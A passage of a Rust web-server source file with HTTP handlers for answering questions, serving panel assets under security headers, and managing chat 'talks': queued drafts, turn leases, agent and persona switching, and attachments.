5797 (None, Some(t)) => Answer::Text(t),
5798 (Some(_), Some(_)) => {
5799 return Err(ApiError::bad_request(
5800 "send either `choice` or `text`, not both",
5801 ));
5802 }
5803 (None, None) => {
5804 return Err(ApiError::bad_request("send a `choice` or a `text`"));
5805 }
5806 };
5807
5808 blocking(move || {
5809 let id = resolve_question(&ui.questions, &id)?;
5810 let q = ui
5811 .questions
5812 .get(&id)
5813 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5814 if !q.status.open() {
5815 return Err(ApiError::conflict(format!(
5819 "question {} is already {}",
5820 q.short(),
5821 q.status.as_str()
5822 )));
5823 }
5824 let (q, ()) = ui
5828 .questions
5829 .update(&q.id, |r| r.answer(answer))
5830 .map_err(ApiError::bad_request_from)?;
5831 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5832 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5833 Ok(Json(
5834 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5835 ))
5836 })
5837 .await
5838}
5839
5840#[derive(Debug, Deserialize)]
5842#[serde(deny_unknown_fields)]
5843struct NewSay {
5844 body: String,
5845}
5846
5847async fn question_say(
5857 State(ui): State<Arc<Ui>>,
5858 Path(id): Path<String>,
5859 body: std::result::Result<Json<NewSay>, JsonRejection>,
5860) -> ApiResult<Json<QuestionView>> {
5861 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5862 blocking(move || {
5863 let id = resolve_question(&ui.questions, &id)?;
5864 let q = ui
5865 .questions
5866 .get(&id)
5867 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5868 if !q.status.open() {
5869 return Err(ApiError::conflict(format!(
5873 "question {} is already {}",
5874 q.short(),
5875 q.status.as_str()
5876 )));
5877 }
5878 let (q, ()) = ui
5881 .questions
5882 .update(&q.id, |r| r.say(body.body))
5883 .map_err(ApiError::bad_request_from)?;
5884 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5885 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5886 Ok(Json(
5887 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5888 ))
5889 })
5890 .await
5891}
5892
5893async fn question_consult(
5902 State(ui): State<Arc<Ui>>,
5903 Path(id): Path<String>,
5904) -> ApiResult<(StatusCode, Json<QuestionView>)> {
5905 let (view, reclaimed) = blocking({
5906 let ui = Arc::clone(&ui);
5907 move || {
5908 let id = resolve_question(&ui.questions, &id)?;
5909 let q = ui
5910 .questions
5911 .get(&id)
5912 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5913 if !q.status.open() {
5914 return Err(ApiError::conflict(format!(
5915 "question {} is already {}",
5916 q.short(),
5917 q.status.as_str()
5918 )));
5919 }
5920 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5921 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
5922 return Err(ApiError::conflict(format!(
5923 "question {} has no open chat to ask",
5924 q.short()
5925 )));
5926 };
5927 let cfg = if q.consult.is_none() {
5931 Some(Config::discover(&talk.repo, None)?.0)
5932 } else {
5933 None
5934 };
5935 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
5936 let claim = if fresh {
5937 match ui.begin_queued_talk_turn(&talk.id)? {
5938 Some(turn_guard) => {
5939 let talk = ui.talks.get(&talk.id)?;
5940 let cfg = match cfg {
5941 Some(cfg) => cfg,
5942 None => Config::discover(&talk.repo, None)?.0,
5943 };
5944 Some((talk, cfg, turn_guard))
5945 }
5946 None => None,
5947 }
5948 } else {
5949 None
5950 };
5951 let q = ui.questions.get(&q.id)?;
5952 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5953 let view = QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks);
5954 Ok((view, claim))
5955 }
5956 })
5957 .await?;
5958 if let Some((talk, cfg, turn_guard)) = reclaimed {
5959 let talks = ui.talks.clone();
5960 let id = talk.id.clone();
5961 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
5962 }
5963 Ok((StatusCode::ACCEPTED, Json(view)))
5964}
5965
5966fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
5968 if store.path_of(id).is_file() {
5969 return Ok(id.to_owned());
5970 }
5971 pick(
5972 store.list().into_iter().map(|q| q.id).collect(),
5973 id,
5974 "question",
5975 )
5976}
5977
5978async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
5993 blocking(move || {
5994 let id = resolve_question(&ui.questions, &id)?;
5995 let Some(html) = ui.questions.panel_html(&id) else {
5996 return Err(ApiError::not_found(format!("question {id} has no panel")));
5997 };
5998 Ok(panel_response(
5999 "text/html; charset=utf-8",
6000 false,
6001 html.into_bytes(),
6002 ))
6003 })
6004 .await
6005}
6006
6007async fn question_asset(
6035 State(ui): State<Arc<Ui>>,
6036 Path((id, name)): Path<(String, String)>,
6037) -> ApiResult<Response> {
6038 if !crate::ask::valid_asset_name(&name) {
6041 return Err(ApiError::bad_request(format!(
6042 "`{name}` is not a usable asset name"
6043 )));
6044 }
6045 blocking(move || {
6046 let id = resolve_question(&ui.questions, &id)?;
6047 let asset = ui
6048 .questions
6049 .panel_asset(&id, &name)
6050 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
6051 let Some(bytes) = asset else {
6052 return Err(ApiError::not_found(format!(
6053 "question {id} has no asset `{name}`"
6054 )));
6055 };
6056 Ok(panel_response(
6057 asset_content_type(&name),
6058 is_svg(&name),
6059 bytes,
6060 ))
6061 })
6062 .await
6063}
6064
6065fn asset_content_type(name: &str) -> &'static str {
6078 match extension(name).as_deref() {
6079 Some("png") => "image/png",
6080 Some("jpg" | "jpeg") => "image/jpeg",
6081 Some("gif") => "image/gif",
6082 Some("webp") => "image/webp",
6083 Some("svg") => "image/svg+xml",
6084 Some("css") => "text/css; charset=utf-8",
6085 Some("txt") => "text/plain; charset=utf-8",
6086 _ => "application/octet-stream",
6087 }
6088}
6089
6090fn is_svg(name: &str) -> bool {
6093 extension(name).as_deref() == Some("svg")
6094}
6095
6096fn extension(name: &str) -> Option<String> {
6098 name.rsplit_once('.')
6099 .map(|(_, ext)| ext.to_ascii_lowercase())
6100}
6101
6102fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
6119 let mut res = (
6120 [
6121 (header::CONTENT_TYPE, content_type),
6122 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
6123 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6124 (header::REFERRER_POLICY, "no-referrer"),
6125 ],
6126 body,
6127 )
6128 .into_response();
6129 if download {
6130 res.headers_mut().insert(
6131 header::CONTENT_DISPOSITION,
6132 HeaderValue::from_static("attachment"),
6133 );
6134 }
6135 res
6136}
6137
6138#[derive(Debug, Serialize)]
6144struct TalkView {
6145 #[serde(flatten)]
6146 talk: Talk,
6147 turn_bodies_md: Vec<Vec<md::Node>>,
6148 thinking: bool,
6156 context: talk::ContextUsage,
6160 operator_name: Option<String>,
6163 persona_name: Option<String>,
6165}
6166
6167impl TalkView {
6168 fn new(talk: Talk, thinking: bool) -> Self {
6171 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6172 Self::with_config(talk, thinking, cfg.as_ref())
6173 }
6174
6175 fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
6178 let context = talk::context_usage(&talk, cfg);
6179 let turn_bodies_md = talk
6180 .turns
6181 .iter()
6182 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
6183 .collect();
6184 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
6185 let persona_name = persona::find(specs, &talk.persona)
6186 .filter(|p| !p.is_default())
6187 .map(|p| p.name);
6188 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
6189 Self {
6190 turn_bodies_md,
6191 thinking,
6192 context,
6193 operator_name,
6194 persona_name,
6195 talk,
6196 }
6197 }
6198}
6199
6200#[derive(Debug, Serialize)]
6205struct TalkDetailView {
6206 #[serde(flatten)]
6207 view: TalkView,
6208 tasks: Vec<TaskView>,
6209 roster: Vec<RosterEntry>,
6212 personas: Vec<PersonaEntry>,
6215}
6216
6217#[derive(Debug, Serialize)]
6219struct PersonaEntry {
6220 id: String,
6221 name: String,
6222}
6223
6224#[derive(Debug, Serialize)]
6226struct RosterEntry {
6227 id: String,
6228 kind: AgentKind,
6229 runnable: bool,
6231}
6232
6233async fn talks_list(
6238 State(ui): State<Arc<Ui>>,
6239 Query(q): Query<ListQuery>,
6240) -> ApiResult<Json<Vec<TalkView>>> {
6241 blocking(move || {
6242 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
6243 Ok(Json(
6244 ui.talks
6245 .list()
6246 .into_iter()
6247 .filter(|talk| q.contains(&talk.id))
6248 .map(|talk| {
6249 let thinking = ui.is_thinking(&talk.id);
6250 let cfg = configs
6251 .entry(talk.repo.clone())
6252 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
6253 TalkView::with_config(talk, thinking, cfg.as_ref())
6254 })
6255 .collect(),
6256 ))
6257 })
6258 .await
6259}
6260
6261#[derive(Debug, Default, Deserialize)]
6266#[serde(default)]
6267struct NewTalk {
6268 agent: Option<String>,
6269 repo: Option<PathBuf>,
6270}
6271
6272async fn talk_post(
6275 State(ui): State<Arc<Ui>>,
6276 body: std::result::Result<Json<NewTalk>, JsonRejection>,
6277) -> ApiResult<impl IntoResponse> {
6278 let body = match body {
6282 Ok(Json(body)) => body,
6283 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
6284 Err(e) => return Err(ApiError::bad_request(e.body_text())),
6285 };
6286 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
6287 let cfg = config_for(&repo).await?;
6288 let view = blocking(move || {
6289 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
6290 let thinking = ui.is_thinking(&talk.id);
6291 Ok(TalkView::new(talk, thinking))
6292 })
6293 .await?;
6294 Ok((StatusCode::CREATED, Json(view)))
6295}
6296
6297async fn talk_detail(
6299 State(ui): State<Arc<Ui>>,
6300 Path(id): Path<String>,
6301) -> ApiResult<Json<TalkDetailView>> {
6302 blocking(move || {
6303 let id = resolve_talk(&ui.talks, &id)?;
6304 let talk = ui.talks.get(&id)?;
6305 let thinking = ui.is_thinking(&talk.id);
6306 let tasks = talk::tasks_of(&ui.queue, &talk.id)
6307 .into_iter()
6308 .map(TaskView::from)
6309 .collect();
6310 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6311 let roster = cfg
6312 .as_ref()
6313 .map(|cfg| {
6314 cfg.agents
6315 .iter()
6316 .map(|a| RosterEntry {
6317 id: a.id.clone(),
6318 kind: a.kind,
6319 runnable: agent::installed(a),
6320 })
6321 .collect()
6322 })
6323 .unwrap_or_default();
6324 let specs = cfg
6325 .as_ref()
6326 .map(|cfg| cfg.talk.personas.clone())
6327 .unwrap_or_default();
6328 let personas = persona::catalog(&specs)
6329 .into_iter()
6330 .map(|p| PersonaEntry {
6331 id: p.id,
6332 name: p.name,
6333 })
6334 .collect();
6335 Ok(Json(TalkDetailView {
6336 view: TalkView::with_config(talk, thinking, cfg.as_ref()),
6337 tasks,
6338 roster,
6339 personas,
6340 }))
6341 })
6342 .await
6343}
6344
6345#[derive(Debug, Default, Deserialize)]
6351#[serde(default, deny_unknown_fields)]
6352struct NewTalkTurn {
6353 text: String,
6354 attachments: Vec<String>,
6355}
6356
6357#[derive(Debug, Deserialize)]
6358#[serde(deny_unknown_fields)]
6359struct EditTalkPending {
6360 text: String,
6361 expected_text: String,
6362 expected_attachments: Vec<String>,
6363}
6364
6365#[derive(Debug, Deserialize)]
6366#[serde(deny_unknown_fields)]
6367struct ClearTalkPending {
6368 expected_text: String,
6369 expected_attachments: Vec<String>,
6370}
6371
6372async fn talk_say(
6384 State(ui): State<Arc<Ui>>,
6385 Path(id): Path<String>,
6386 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
6387) -> ApiResult<(StatusCode, Json<TalkView>)> {
6388 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6389 if body.text.trim().is_empty() && body.attachments.is_empty() {
6390 return Err(ApiError::bad_request("say something"));
6391 }
6392
6393 let id = {
6394 let ui = Arc::clone(&ui);
6395 let asked = id.clone();
6396 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6397 };
6398 {
6402 let ui = Arc::clone(&ui);
6403 let id = id.clone();
6404 blocking(move || {
6405 let talk = ui.talks.get(&id)?;
6406 if !talk.status.open() {
6407 return Err(ApiError::conflict(format!(
6408 "talk {} is {} and takes no more turns",
6409 talk.short(),
6410 talk.status.as_str()
6411 )));
6412 }
6413 Ok(())
6414 })
6415 .await?;
6416 }
6417
6418 let attachments = {
6423 let ui = Arc::clone(&ui);
6424 let id = id.clone();
6425 let ids = body.attachments.clone();
6426 blocking(move || {
6427 ids.into_iter()
6428 .map(|att_id| {
6429 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
6430 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
6431 })
6432 })
6433 .collect::<ApiResult<Vec<talk::Attachment>>>()
6434 })
6435 .await?
6436 };
6437
6438 let start = {
6443 let ui = Arc::clone(&ui);
6444 let id = id.clone();
6445 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
6446 };
6447 let turn_guard = match start {
6448 TalkTurnStart::Claimed(turn_guard) => turn_guard,
6449 TalkTurnStart::Pending => {
6450 return Err(ApiError::conflict(
6451 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
6452 ));
6453 }
6454 TalkTurnStart::Foreign => {
6455 return Err(ApiError::conflict(
6456 "a turn is already running in another process; try again when it has finished",
6457 ));
6458 }
6459 TalkTurnStart::Busy => {
6460 let (tx, rx) = tokio::sync::oneshot::channel();
6476 tokio::spawn({
6477 let ui = Arc::clone(&ui);
6478 let id = id.clone();
6479 let said = body.text.clone();
6480 async move {
6481 let written = blocking({
6482 let ui = Arc::clone(&ui);
6483 let id = id.clone();
6484 move || {
6485 let mut talk = ui.talks.get(&id)?;
6486 #[cfg(test)]
6491 if let Some(gate) = ui
6492 .busy_queue_gate
6493 .lock()
6494 .unwrap_or_else(PoisonError::into_inner)
6495 .take()
6496 {
6497 let _ = gate.reached.send(());
6498 let _ = gate.release.recv();
6499 }
6500 if let Err(error) =
6501 talk::queue(&mut talk, &ui.talks, &said, attachments)
6502 {
6503 if let Ok(fresh) = ui.talks.get(&id) {
6504 if !fresh.status.open() {
6505 return Err(ApiError::conflict(format!(
6506 "talk {} is {} and takes no more turns",
6507 fresh.short(),
6508 fresh.status.as_str()
6509 )));
6510 }
6511 }
6512 return Err(ApiError::from(error));
6513 }
6514 let claim = match ui.begin_queued_talk_turn(&id)? {
6525 Some(turn_guard) => {
6526 let (cfg, _) = Config::discover(&talk.repo, None)?;
6527 Some((talk.clone(), cfg, turn_guard))
6528 }
6529 None => None,
6530 };
6531 let thinking = ui.is_thinking(&id);
6532 Ok((TalkView::new(talk, thinking), claim))
6533 }
6534 })
6535 .await;
6536 let (view, reclaimed) = match written {
6537 Ok(pair) => pair,
6538 Err(e) => {
6539 let _ = tx.send(Err(e));
6544 return;
6545 }
6546 };
6547 let _ = tx.send(Ok(view));
6550 if let Some((talk, cfg, turn_guard)) = reclaimed {
6551 let talks = ui.talks.clone();
6552 drain_loop(talk, talks, cfg, id, turn_guard).await;
6553 }
6554 }
6555 });
6556 let view = rx
6557 .await
6558 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6559 return Ok((StatusCode::ACCEPTED, Json(view)));
6560 }
6561 };
6562
6563 let (talk, cfg) = {
6564 let ui = Arc::clone(&ui);
6565 let id = id.clone();
6566 blocking(move || {
6567 let talk = ui.talks.get(&id)?;
6568 let (cfg, _) = Config::discover(&talk.repo, None)?;
6569 Ok((talk, cfg))
6570 })
6571 .await?
6572 };
6573
6574 let talks = ui.talks.clone();
6575 let (tx, rx) = tokio::sync::oneshot::channel();
6590 tokio::spawn({
6591 let ui = Arc::clone(&ui);
6592 let talks = talks.clone();
6593 let id = id.clone();
6594 let said = body.text.clone();
6595 let mut talk = talk.clone();
6596 async move {
6597 let recorded = blocking({
6598 let talks = talks.clone();
6599 move || {
6600 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
6601 if let Ok(fresh) = talks.get(&talk.id) {
6602 if !fresh.status.open() {
6603 return Err(ApiError::conflict(format!(
6604 "talk {} is {} and takes no more turns",
6605 fresh.short(),
6606 fresh.status.as_str()
6607 )));
6608 }
6609 }
6610 return Err(ApiError::from(error));
6611 }
6612 Ok((said.trim().to_owned(), talk))
6618 }
6619 })
6620 .await;
6621 let (text, mut talk) = match recorded {
6622 Ok(pair) => pair,
6623 Err(e) => {
6624 let _ = tx.send(Err(e));
6628 return;
6629 }
6630 };
6631 let queued = talk.clone();
6632 let thinking = ui.is_thinking(&id);
6633 let _ = tx.send(Ok((queued, thinking)));
6636
6637 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
6638 tracing::warn!("talk {id} turn failed: {e:#}");
6642 }
6643 drain_loop(talk, talks, cfg, id, turn_guard).await;
6646 }
6647 });
6648
6649 let (queued, thinking) = rx
6650 .await
6651 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6652
6653 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
6655}
6656
6657async fn talk_pending_resume(
6661 State(ui): State<Arc<Ui>>,
6662 Path(id): Path<String>,
6663) -> ApiResult<(StatusCode, Json<TalkView>)> {
6664 let id = {
6665 let ui = Arc::clone(&ui);
6666 let asked = id.clone();
6667 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6668 };
6669 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6670 return Err(ApiError::conflict(
6671 "a talk turn is already running; the queued draft will be handled by it",
6672 ));
6673 };
6674 let (talk, cfg) = {
6675 let ui = Arc::clone(&ui);
6676 let id = id.clone();
6677 blocking(move || {
6678 let talk = ui.talks.get(&id)?;
6679 if !talk.status.open() {
6680 return Err(ApiError::conflict(format!(
6681 "talk {} is {} and takes no more turns",
6682 talk.short(),
6683 talk.status.as_str()
6684 )));
6685 }
6686 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
6687 return Err(ApiError::conflict("there is no queued draft to resume"));
6688 }
6689 let (cfg, _) = Config::discover(&talk.repo, None)?;
6690 Ok((talk, cfg))
6691 })
6692 .await?
6693 };
6694 let view = TalkView::new(talk.clone(), true);
6695 let talks = ui.talks.clone();
6696 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6697 Ok((StatusCode::ACCEPTED, Json(view)))
6698}
6699
6700async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
6716 let live_set = Arc::clone(&turn.turns);
6717 let mut turn = Some(turn);
6725 loop {
6726 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
6727 tracing::warn!("talk {id} lost its turn lease; not draining further");
6730 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6731 if let Some(turn) = turn.take() {
6732 turn.release(&mut live);
6733 }
6734 break;
6735 }
6736 {
6737 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6740 if live.parking {
6741 if let Some(turn) = turn.take() {
6742 turn.release(&mut live);
6743 }
6744 break;
6745 }
6746 }
6747 let observed = live_set
6751 .lock()
6752 .unwrap_or_else(PoisonError::into_inner)
6753 .queued
6754 .get(&id)
6755 .copied()
6756 .unwrap_or(0);
6757 let drained = blocking({
6758 let talks = talks.clone();
6759 let live_set = Arc::clone(&live_set);
6760 move || {
6761 let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6766 let result = if live.parking {
6767 Ok(None)
6768 } else {
6769 talk::drain(&mut talk, &talks)
6770 };
6771 drop(live);
6772 Ok((talk, result))
6773 }
6774 })
6775 .await;
6776 let (next_talk, result) = match drained {
6777 Ok(drained) => drained,
6778 Err(e) => {
6779 tracing::warn!(
6780 status = %e.status,
6781 message = %e.message,
6782 "talk {id} could not start queued-text drain"
6783 );
6784 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6785 turn.take()
6786 .expect("held for the whole loop until released here")
6787 .release(&mut live);
6788 break;
6789 }
6790 };
6791 talk = next_talk;
6792 let drained = match result {
6793 Ok(Some(drained)) => drained,
6794 Ok(None) => {
6795 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6796 if live.queued.get(&id).copied().unwrap_or(0) != observed {
6797 continue;
6798 }
6799 turn.take()
6800 .expect("held for the whole loop until released here")
6801 .release(&mut live);
6802 break;
6803 }
6804 Err(e) => {
6805 tracing::warn!("talk {id} could not drain queued text: {e:#}");
6806 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6807 turn.take()
6808 .expect("held for the whole loop until released here")
6809 .release(&mut live);
6810 break;
6811 }
6812 };
6813 let responded = match turn.as_ref() {
6814 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
6815 None => Err(anyhow::anyhow!("the turn guard was released")),
6816 };
6817 if let Err(e) = responded {
6818 tracing::warn!("talk {id} turn failed: {e:#}");
6819 }
6820 }
6821}
6822
6823async fn talk_pending_clear(
6825 State(ui): State<Arc<Ui>>,
6826 Path(id): Path<String>,
6827 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
6828) -> ApiResult<Json<TalkView>> {
6829 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6830 blocking(move || {
6831 let id = resolve_talk(&ui.talks, &id)?;
6832 let mut talk = ui.talks.get(&id)?;
6833 if !talk.status.open() {
6834 return Err(ApiError::conflict(format!(
6835 "talk {} is {} and takes no more turns",
6836 talk.short(),
6837 talk.status.as_str()
6838 )));
6839 }
6840 if !talk::clear_pending_if_matches(
6841 &mut talk,
6842 &ui.talks,
6843 &body.expected_text,
6844 &body.expected_attachments,
6845 )? {
6846 return Err(ApiError::conflict(
6847 "queued message changed; reload it before clearing",
6848 ));
6849 }
6850 let thinking = ui.is_thinking(&talk.id);
6851 Ok(Json(TalkView::new(talk, thinking)))
6852 })
6853 .await
6854}
6855
6856async fn talk_pending_edit(
6860 State(ui): State<Arc<Ui>>,
6861 Path(id): Path<String>,
6862 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
6863) -> ApiResult<Json<TalkView>> {
6864 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6865 let (view, reclaimed) = blocking({
6866 let ui = Arc::clone(&ui);
6867 move || {
6868 let id = resolve_talk(&ui.talks, &id)?;
6869 let mut talk = ui.talks.get(&id)?;
6870 if !talk.status.open() {
6871 return Err(ApiError::conflict(format!(
6872 "talk {} is {} and takes no more turns",
6873 talk.short(),
6874 talk.status.as_str()
6875 )));
6876 }
6877 if !talk::edit_pending_text(
6878 &mut talk,
6879 &ui.talks,
6880 &body.text,
6881 &body.expected_text,
6882 &body.expected_attachments,
6883 )? {
6884 return Err(ApiError::conflict(
6885 "queued message changed; reload it before editing",
6886 ));
6887 }
6888 let claim = match ui.begin_queued_talk_turn(&id)? {
6889 Some(turn_guard) => {
6890 let (cfg, _) = Config::discover(&talk.repo, None)?;
6891 Some((talk.clone(), cfg, id.clone(), turn_guard))
6892 }
6893 None => None,
6894 };
6895 let thinking = ui.is_thinking(&id);
6896 Ok((TalkView::new(talk, thinking), claim))
6897 }
6898 })
6899 .await?;
6900 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
6901 let talks = ui.talks.clone();
6902 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6903 }
6904 Ok(Json(view))
6905}
6906
6907#[derive(Debug, Deserialize)]
6909struct TalkAgent {
6910 agent: String,
6911}
6912
6913async fn talk_agent(
6918 State(ui): State<Arc<Ui>>,
6919 Path(id): Path<String>,
6920 Json(body): Json<TalkAgent>,
6921) -> ApiResult<Json<TalkView>> {
6922 let id = {
6923 let ui = Arc::clone(&ui);
6924 blocking(move || resolve_talk(&ui.talks, &id)).await?
6925 };
6926 let repo = {
6927 let ui = Arc::clone(&ui);
6928 let id = id.clone();
6929 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
6930 };
6931 let cfg = config_for(&repo).await?;
6932 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6933 return Err(ApiError::conflict(
6934 "a talk turn is running; change the agent once it has answered",
6935 ));
6936 };
6937 let switched = {
6938 let ui = Arc::clone(&ui);
6939 let id = id.clone();
6940 let cfg = cfg.clone();
6941 blocking(move || {
6942 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
6943 .map_err(ApiError::bad_request_from)?;
6944 let mut talk = ui.talks.get(&id)?;
6945 if !talk.status.open() {
6946 return Err(ApiError::conflict(format!(
6947 "talk {} is {} and takes no more turns",
6948 talk.short(),
6949 talk.status.as_str()
6950 )));
6951 }
6952 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
6953 Ok(talk)
6954 })
6955 .await
6956 };
6957 let fresh = {
6962 let ui = Arc::clone(&ui);
6963 let id = id.clone();
6964 blocking(move || Ok(ui.talks.get(&id)?)).await
6965 };
6966 let draining = match fresh {
6967 Ok(talk) => {
6968 let draining = talk.status.open()
6969 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
6970 let talks = ui.talks.clone();
6971 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6972 draining
6973 }
6974 Err(_) => false,
6975 };
6976 let talk = switched?;
6977 Ok(Json(TalkView::new(talk, draining)))
6978}
6979
6980#[derive(Debug, Deserialize)]
6982struct TalkPersona {
6983 persona: String,
6984}
6985
6986async fn talk_persona(
6990 State(ui): State<Arc<Ui>>,
6991 Path(id): Path<String>,
6992 Json(body): Json<TalkPersona>,
6993) -> ApiResult<Json<TalkView>> {
6994 let id = {
6995 let ui = Arc::clone(&ui);
6996 blocking(move || resolve_talk(&ui.talks, &id)).await?
6997 };
6998 let repo = {
6999 let ui = Arc::clone(&ui);
7000 let id = id.clone();
7001 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7002 };
7003 let cfg = config_for(&repo).await?;
7004 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7005 return Err(ApiError::conflict(
7006 "a talk turn is running; change the persona once it has answered",
7007 ));
7008 };
7009 let switched = {
7010 let ui = Arc::clone(&ui);
7011 let id = id.clone();
7012 let cfg = cfg.clone();
7013 blocking(move || {
7014 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
7015 return Err(ApiError::bad_request(format!(
7016 "unknown persona `{}`",
7017 body.persona
7018 )));
7019 };
7020 let mut talk = ui.talks.get(&id)?;
7021 if !talk.status.open() {
7022 return Err(ApiError::conflict(format!(
7023 "talk {} is {} and takes no more turns",
7024 talk.short(),
7025 talk.status.as_str()
7026 )));
7027 }
7028 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
7029 Ok(talk)
7030 })
7031 .await
7032 };
7033 let fresh = {
7035 let ui = Arc::clone(&ui);
7036 let id = id.clone();
7037 blocking(move || Ok(ui.talks.get(&id)?)).await
7038 };
7039 let draining = match fresh {
7040 Ok(talk) => {
7041 let draining = talk.status.open()
7042 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
7043 let talks = ui.talks.clone();
7044 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7045 draining
7046 }
7047 Err(_) => false,
7048 };
7049 let talk = switched?;
7050 Ok(Json(TalkView::new(talk, draining)))
7051}
7052
7053async fn talk_close(
7055 State(ui): State<Arc<Ui>>,
7056 Path(id): Path<String>,
7057) -> ApiResult<Json<TalkView>> {
7058 blocking(move || {
7059 let id = resolve_talk(&ui.talks, &id)?;
7060 let mut talk = ui.talks.get(&id)?;
7061 talk::close(&mut talk, &ui.talks)?;
7062 let thinking = ui.is_thinking(&talk.id);
7063 Ok(Json(TalkView::new(talk, thinking)))
7064 })
7065 .await
7066}
7067
7068async fn talk_reopen(
7070 State(ui): State<Arc<Ui>>,
7071 Path(id): Path<String>,
7072) -> ApiResult<Json<TalkView>> {
7073 blocking(move || {
7074 let id = resolve_talk(&ui.talks, &id)?;
7075 let mut talk = ui.talks.get(&id)?;
7076 talk::reopen(&mut talk, &ui.talks)?;
7077 let thinking = ui.is_thinking(&talk.id);
7078 Ok(Json(TalkView::new(talk, thinking)))
7079 })
7080 .await
7081}
7082
7083async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7093 blocking(move || {
7094 let id = resolve_talk(&ui.talks, &id)?;
7095 ui.talks.remove(&id)?;
7096 Ok(StatusCode::NO_CONTENT)
7097 })
7098 .await
7099}
7100
7101fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
7103 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
7104}
7105
7106async fn talk_attachment_post(
7109 State(ui): State<Arc<Ui>>,
7110 Path(id): Path<String>,
7111 headers: HeaderMap,
7112 body: Bytes,
7113) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
7114 let mime = validate_attachment(&headers, &body)?;
7115 let name = filename_header(&headers);
7116 let data = body.to_vec();
7117 blocking(move || {
7118 let id = resolve_talk(&ui.talks, &id)?;
7119 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
7120 Ok((StatusCode::CREATED, Json(att)))
7121 })
7122 .await
7123}
7124
7125async fn talk_attachment_get(
7128 State(ui): State<Arc<Ui>>,
